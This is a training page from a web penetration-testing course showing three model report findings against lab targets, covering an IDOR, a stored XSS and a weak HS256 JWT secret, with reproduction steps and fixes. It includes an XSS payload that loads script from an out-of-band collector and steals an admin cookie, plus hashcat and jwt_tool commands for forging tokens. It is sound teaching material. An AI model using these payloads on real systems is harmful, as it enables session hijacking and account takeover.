CMWAP example plans & reports
Learn the expected format: example plans (what you submit in your 90-minute window) and example reports and findings. These are illustrative โ your exam deliverables are your own work.
โ Back to CMWAPWorked finding examples
CMWAP โ Worked Finding Examples
Three fully written findings you can model your own reports on โ an IDOR, a stored XSS, and a JWT flaw. They show the level of specificity the CMWAP expects: exact requests, one-frame proof, business impact, and a concrete fix. Values are from lab targets; authorized testing only.
Finding 1 โ IDOR: Any user can read other customers' account statements
| Field | Value |
|---|---|
| Severity | High |
| CVSS 3.1 | 7.7 โ AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N |
| Class | Broken Access Control (IDOR / BOLA) |
| Affected | GET /api/statements/{id} |
| Status | Open |
Description. The statement endpoint returns a document based solely on the {id} path value and does not verify that the statement belongs to the authenticated user. Any logged-in customer can enumerate id values and read other customers' statements.
Steps to reproduce.
- Log in as low-privilege user
alice(id 1012) and open her statement; note the request. - In Burp Repeater, change the object id from her own to another value:
http GET /api/statements/1007 HTTP/1.1 Host: bank.lab Cookie: session=<alice's session> - The server returns customer 1007's statement despite Alice not owning it:
`http HTTP/1.1 200 OK Content-Type: application/json
{"account":"BE71...1007","holder":"Bob Meyer","balance":"12,480.10","transactions":[ ... ]}
*Proof: `evidence/idor-statements.png` โ Alice's session cookie + response showing Bob's account, one frame.*
**Impact.** Full disclosure of every customer's financial data (balances, transactions, PII) by incrementing an integer. This is a reportable data breach and a direct regulatory (GDPR) exposure for the client.
**Remediation.** Enforce an ownership check server-side before returning the object: `if statement.owner_id != session.user_id: return 403`. Prefer unguessable identifiers (UUIDs) as defense-in-depth, but the authorization check is the required fix.
**References.** OWASP WSTG-ATHZ-04; CWE-639; OWASP API1:2023 (BOLA).
---
## Finding 2 โ Stored XSS in support tickets executes in the admin panel
| Field | Value |
|-------|-------|
| **Severity** | High |
| **CVSS 3.1** | 8.0 โ `AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N` |
| **Class** | Cross-Site Scripting (Stored / Blind) |
| **Affected** | `POST /support/ticket` โ rendered at `/admin/tickets` |
| **Status** | Open |
**Description.** The ticket `message` field is stored without sanitization and rendered unencoded in the admin ticket viewer. A low-privileged user's payload executes in an administrator's authenticated session โ a stored, blind XSS crossing a privilege boundary.
**Steps to reproduce.**
1. As a normal user, submit a ticket with an out-of-band payload:
```http
POST /support/ticket HTTP/1.1
Host: shop.lab
Content-Type: application/x-www-form-urlencoded
subject=Refund&message=<script src=https://<id>.oast.pro/x.js></script>
- When an admin opens
/admin/tickets, the collector receives a callback carrying the admin's cookies / DOM:GET /x.js from 10.0.0.5 cookie=admin_session=... url=https://shop.lab/admin/ticketsProof:evidence/stored-xss-admin.pngโ the OOB collector log showing the admin-context callback.
Impact. Session hijack of an administrator, leading to full application takeover (create/modify users, read all orders). Because the script runs in the admin origin, it bypasses the privilege boundary entirely.
Remediation. Context-aware output encoding when rendering ticket content in the admin view; sanitize with a library like DOMPurify if HTML is required; add a strict Content-Security-Policy (script-src 'self') as defense-in-depth; set HttpOnly on session cookies.
References. OWASP WSTG-CLNT-01; CWE-79.
Finding 3 โ JWT signed with a weak, crackable HS256 secret
| Field | Value |
|---|---|
| Severity | Critical |
| CVSS 3.1 | 9.1 โ AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N |
| Class | Authentication / JWT |
| Affected | Session JWT (Authorization: Bearer) |
| Status | Open |
Description. Session tokens are JWTs signed with HS256 using a weak secret. The secret is recoverable offline, allowing an attacker to forge arbitrary tokens โ including an administrator token โ with no credentials.
Steps to reproduce.
- Capture any valid JWT and crack the secret offline:
bash hashcat -m 16500 token.jwt /usr/share/wordlists/rockyou.txt # recovered secret: "secret" - Forge an admin token with the recovered secret:
bash jwt_tool <token> -S hs256 -p 'secret' -T # set "role": "admin", "sub": "attacker" - Replay the forged token; the server accepts it and grants admin access. Proof:
evidence/jwt-forge.pngโ forged token +200admin response in one frame.
Impact. Complete authentication bypass and privilege escalation to administrator without any valid account. This is the highest-impact class of finding.
Remediation. Use a long, random (โฅ256-bit) secret stored in a secrets manager, or move to RS256 with proper key management; verify alg server-side against an allowlist; enforce exp; rotate the secret and invalidate existing tokens.
References. OWASP WSTG-SESS-10; CWE-347; CWE-521.
The XSS Rat ยท CMWAP Course ยท Worked finding examples ยท Authorized / lab use only.